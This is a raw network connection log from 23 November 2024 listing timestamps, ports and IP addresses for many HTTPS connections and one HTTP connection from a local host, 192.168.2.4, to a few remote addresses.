Nov 23, 2024 11:21:59.210894108 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.211178064 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.211194992 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.211286068 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.232367992 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.232383966 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.232446909 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.232460976 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.232614994 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.250828981 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.250844002 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.250926018 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.250941038 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.251008034 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.347919941 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.347934961 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.347996950 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.348016977 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.348148108 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.368603945 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.368619919 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.368681908 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.368696928 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.368748903 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.385930061 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.385943890 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.386013985 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.386033058 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.386091948 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.399236917 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.399255991 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.399337053 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.399337053 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.399362087 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.399413109 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.408762932 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.408816099 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.408865929 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.409487009 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.409527063 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.438666105 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.438704967 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.438801050 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.440817118 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.440825939 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.440845966 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.440928936 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.440937042 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.440990925 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.441906929 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.441972017 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.442028999 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.442228079 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.442240000 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.442257881 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.442271948 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.442564011 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.442575932 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.442606926 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.442637920 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.443218946 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.443252087 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.443321943 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.443433046 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:21:59.443449974 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:21:59.659667969 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:59.659714937 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:21:59.659791946 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:59.660160065 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:21:59.660178900 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:01.164755106 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.168965101 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.169028997 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.169454098 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.169459105 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.222846031 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.223704100 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.224800110 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.224821091 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.225281954 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.225287914 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.225613117 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.225651026 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.226044893 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.226051092 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.227593899 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.228636026 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.228643894 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.228976965 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.228986025 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.298223019 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.300729036 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.300776958 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.301126957 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.301143885 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.331191063 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:01.331259012 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:01.332748890 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:01.332757950 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:01.332957029 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:01.344451904 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:01.391372919 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:01.598594904 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.598742962 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.598854065 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.600126982 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.600151062 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.600161076 CET	49741	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.600167036 CET	443	49741	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.604329109 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.604356050 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.604439020 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.605012894 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.605025053 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.669904947 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.670713902 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.670732021 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.670783043 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.670799017 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.670989990 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.671035051 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.671040058 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.671062946 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.671210051 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.671243906 CET	443	49737	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.671288967 CET	49737	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.672246933 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.672311068 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.672954082 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.672966957 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.672979116 CET	49739	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.672983885 CET	443	49739	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.674961090 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.674983025 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.675045967 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.675199032 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.675209999 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.676157951 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.676214933 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.676280022 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.677023888 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.677071095 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.677522898 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.677551031 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.677606106 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.677651882 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.677736998 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.677736998 CET	49740	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.677756071 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.677766085 CET	443	49740	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.680349112 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.680360079 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.680413008 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.680536985 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.680548906 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.756141901 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.756167889 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.756234884 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.756294012 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.756356955 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.756412983 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.756412983 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.756433010 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.756597996 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.756633043 CET	443	49738	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.757287979 CET	49738	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.758281946 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.758332014 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:01.758398056 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.758495092 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:01.758514881 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:02.005115032 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.005135059 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.005156040 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.005197048 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.005208969 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.005220890 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.005254030 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.042119026 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.042161942 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.042196989 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.042203903 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.042216063 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.042232990 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.042257071 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.054600000 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.054610014 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:02.054622889 CET	49742	443	192.168.2.4	20.12.23.50
Nov 23, 2024 11:22:02.054635048 CET	443	49742	20.12.23.50	192.168.2.4
Nov 23, 2024 11:22:03.394687891 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.397911072 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.397934914 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.398267031 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.398389101 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.398395061 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.398705006 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.398725986 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.399075985 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.399080992 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.403361082 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.407063007 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.407083035 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.407485962 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.407490969 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.455765009 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.456233025 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.456283092 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.457175970 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.457190990 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.508558989 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.509232044 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.509253979 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.509949923 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.509960890 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.843780041 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.843918085 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.844017982 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.844106913 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.844125032 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.844161034 CET	49743	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.844167948 CET	443	49743	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.844177961 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.844223976 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.844466925 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.845397949 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.845423937 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.845455885 CET	49746	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.845460892 CET	443	49746	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.847647905 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.847675085 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.847685099 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.847697020 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.847781897 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.847783089 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.847894907 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.847903013 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.847976923 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.847989082 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.848678112 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.848740101 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.848855019 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.848985910 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.848985910 CET	49744	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.848999977 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.849009037 CET	443	49744	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.850836039 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.850843906 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.850910902 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.851138115 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.851147890 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.903079987 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.903134108 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.903192043 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.903351068 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.903383970 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.903413057 CET	49745	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.903429985 CET	443	49745	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.905623913 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.905642033 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.905719042 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.905843973 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.905862093 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.942996979 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.943068027 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.943137884 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.943380117 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.943399906 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.943469048 CET	49747	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.943480968 CET	443	49747	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.946330070 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.946352959 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:03.946538925 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.946671963 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:03.946686029 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:04.059875011 CET	49753	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:04.179364920 CET	80	49753	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:04.179589987 CET	49753	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:04.179801941 CET	49753	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:04.299602985 CET	80	49753	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:05.521003008 CET	80	49753	185.215.113.43	192.168.2.4
Nov 23, 2024 11:22:05.521064043 CET	49753	80	192.168.2.4	185.215.113.43
Nov 23, 2024 11:22:05.637703896 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.640999079 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.641016960 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.641499043 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.641505003 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.665663958 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.675971985 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.675985098 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.676512003 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.676517963 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.685230970 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.688715935 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.688730001 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.689110041 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.689116001 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.696747065 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.698518991 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.698813915 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.698829889 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.698913097 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.698920965 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.699229956 CET	49750	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.699234009 CET	443	49750	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:05.699354887 CET	49748	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:05.699359894 CET	443	49748	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.082669973 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.082813025 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.084462881 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.084495068 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.084495068 CET	49749	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.084511042 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.084521055 CET	443	49749	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.087694883 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.087718964 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.087790966 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.087953091 CET	49754	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.087965965 CET	443	49754	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.101177931 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.101372004 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.101439953 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.101594925 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.101600885 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.101612091 CET	49752	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.101615906 CET	443	49752	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.104135036 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.104223013 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.104331970 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.104454994 CET	49755	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.104477882 CET	443	49755	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.128520966 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.128593922 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.128765106 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.128794909 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.128803968 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.128814936 CET	49751	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.128820896 CET	443	49751	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.131381989 CET	49756	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:06.131486893 CET	443	49756	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:06.131597996 CET	49756	443	192.168.2.4	13.107.246.63
